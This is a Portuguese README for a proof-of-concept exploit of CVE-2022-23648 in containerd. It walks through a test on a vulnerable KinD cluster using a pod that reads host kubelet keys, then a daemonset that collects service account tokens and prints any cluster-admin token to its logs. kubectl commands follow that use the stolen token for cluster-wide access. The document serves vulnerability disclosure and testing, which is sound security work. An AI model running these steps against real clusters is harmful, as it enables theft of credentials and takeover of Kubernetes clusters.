CVE-2022-23648-POC

PoC para CVE-2022-23648

Esta é uma prova de conceito para o CVE-2022-23648 de @_fel1x. Informações de divulgação aqui, informações do CVE aqui e um blog com mais informações e ideias de mitigação aqui. O Containerfile tem as informações necessárias, e você pode alterar o destino do VOLUME para testar diferentes caminhos.

A maneira mais fácil de mostrar o funcionamento é usar KinD que possui imagens exploráveis.

Procedimento básico de teste

A menos que o nó tenha muitos dados em /var/lib/kubelet/pki, este deve ser um teste seguro.

• kind create cluster --image=kindest/node:v1.21.1
• kubectl create -f pod-manifest.yaml
• kubectl exec poctest -- ls /var/lib/kubelet/pki/

E se você receber arquivos incluindo kubelet.key, funcionou :)

Tentar escalar para cluster-admin

NOTA: Não tente isso em um cluster de produção. Um Containerd vulnerável pode duplicar muitos dados para este pod de ataque e esgotar o espaço em disco. Além disso, isso imprimirá tokens de SA cluster-admin nos logs do pod, que provavelmente serão enviados para um destino de registro em texto simples

Isso executará um daemonset que tenta enumerar todos os tokens de conta de serviço do Kubernetes no nó e imprimi-los nos logs do pod se for encontrado um token cluster-admin.

• kubectl apply -f ds.yaml
• kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i '*' '*' -A

Se yes for impresso, parabéns, você tem um token de conta de serviço cluster-admin de curta duração. Execute:

• kubectl logs -l app=poctest | head -1 | awk -F\. '{print $2}' | base64 -d para ver qual SA é
• kubectl --token="$(kubectl logs -l app=poctest | head -1)" get pods -A
• kubectl --token="$(kubectl logs -l app=poctest | head -1)" auth can-i --list

Autor

• Rory McCune @raesene

Contribuidores

• @BradGeesaman - DaemonSet de escalação